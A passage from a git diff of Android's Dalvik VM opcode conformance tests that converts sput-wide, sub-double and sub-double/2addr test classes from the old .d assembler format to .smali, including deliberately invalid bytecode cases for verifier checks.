+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_9.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d
deleted file mode 100644
index 99060a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_1.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali
new file mode 100644
index 0000000..3103cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_1.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali
new file mode 100644
index 0000000..124d686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_double/d/T_sub_double_2;
+.super Ljava/lang/Object;
+.source "T_sub_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    sub-double v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d
deleted file mode 100644
index ac2644e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_3.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       sub-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali
new file mode 100644
index 0000000..4495759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_3.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d
deleted file mode 100644
index cf89f31..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_4.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali
new file mode 100644
index 0000000..3b89e85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_4.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d
deleted file mode 100644
index 69bbda7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_5.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali
new file mode 100644
index 0000000..3c20a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_5.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d
deleted file mode 100644
index 6995970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_6.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6
-       move v3, v6       
-       sub-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali
new file mode 100644
index 0000000..bf920b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d
deleted file mode 100644
index 8df12c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_1.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali
new file mode 100644
index 0000000..e13ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali
new file mode 100644
index 0000000..8fe07da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_sub_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    sub-double/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d
deleted file mode 100644
index a866a14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_3.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       sub-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali
new file mode 100644
index 0000000..bc45d76
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d
deleted file mode 100644
index a3236ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_4.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v2
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali
new file mode 100644
index 0000000..966517d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v2
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d
deleted file mode 100644
index aa69895..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_5.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali
new file mode 100644
index 0000000..232d62f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d
deleted file mode 100644
index 07bc954..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_6.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6
-       move v3, v6       
-       sub-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali
new file mode 100644
index 0000000..f17ca46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d
deleted file mode 100644
index 39f6708..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_float/d/T_sub_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
